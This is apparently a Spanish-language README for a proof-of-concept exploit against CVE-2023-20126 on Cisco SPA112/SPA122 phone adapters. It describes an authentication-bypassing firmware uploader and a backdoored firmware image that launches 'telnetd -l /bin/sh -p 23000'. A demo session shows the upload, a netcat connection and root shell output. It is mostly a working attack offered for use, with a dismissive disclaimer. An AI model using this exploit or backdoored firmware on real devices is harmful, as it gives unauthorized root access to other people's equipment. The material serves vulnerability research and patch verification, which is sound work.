RancidCrisco

PoC mínimo viable para CVE-2023-20126

Esta es la versión inicial. Funciona, pero es el exploit del 'caso más simple'.

Probado y funcionando en SPA112/SPA122 - SPA232D requiere una imagen de firmware diferente.

Proporciona una shell de root en el puerto 23000/tcp.

Todavía necesito limpiar el toolchain utilizado para editar el firmware y probablemente lo pondré en un repositorio diferente. Se basa principalmente en el trabajo de @BigNerd95, pero con pequeñas modificaciones para funcionar con los archivos de firmware SPA112/122.

Demostración.

$ python3 CVE-2023-20126.py http://192.168.0.152 CFW.bin 
Base URL: http://192.168.0.152
Firmware File: CFW.bin
Sending firmware update...
Firmware upgrade successful. Device will reboot eventually and be running the new FW.

< wait a few mins, nervously > 

$ nc -v 192.168.0.152 23000
Connection to 192.168.0.152 port 23000 [tcp/inovaport1] succeeded!
????????


BusyBox v1.10.2 (2019-10-14 12:41:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id;uname -a;pwd
id;uname -a;pwd
uid=0(admin) gid=0(admin)
Linux SPA112 2.6.26.5 #1 PREEMPT Sun Sep 6 10:54:57 CST 2015 armv5tejl unknown
/
# cat /etc/version
cat /etc/version
router_major_version:1.4.1
router_minor_version:SR5
build_date:Mon Oct 14 12:48:12 CST 2019
build_version:6735
hardware_version:1.1.0

Archivos

• fwupload.py - cargador de imágenes de firmware que omite la autenticación simplemente no enviando ninguna, explotando CVE-2023-20126. Toma dos argumentos: la URL de la interfaz web del dispositivo y el archivo de firmware a cargar.
• telnet-23000.bin - Imagen de firmware maliciosa de prueba de concepto que lanza telnetd -l /bin/sh -p 23000, proporcionando una shell de root en el puerto 23000/tcp. Basado en el trabajo de bignerd95.

Licencia

WTFPL.

Bugs

usa el issue de git.

Descargo de responsabilidad

Si esto jode tu maldito dispositivo, no asumo ninguna responsabilidad. Ese es TU problema. Quiero decir, armé ese firmware con puerta trasera en una tarde. Además, ¿por qué no estás siguiendo la guía y construyendo tu propio firmware con puerta trasera?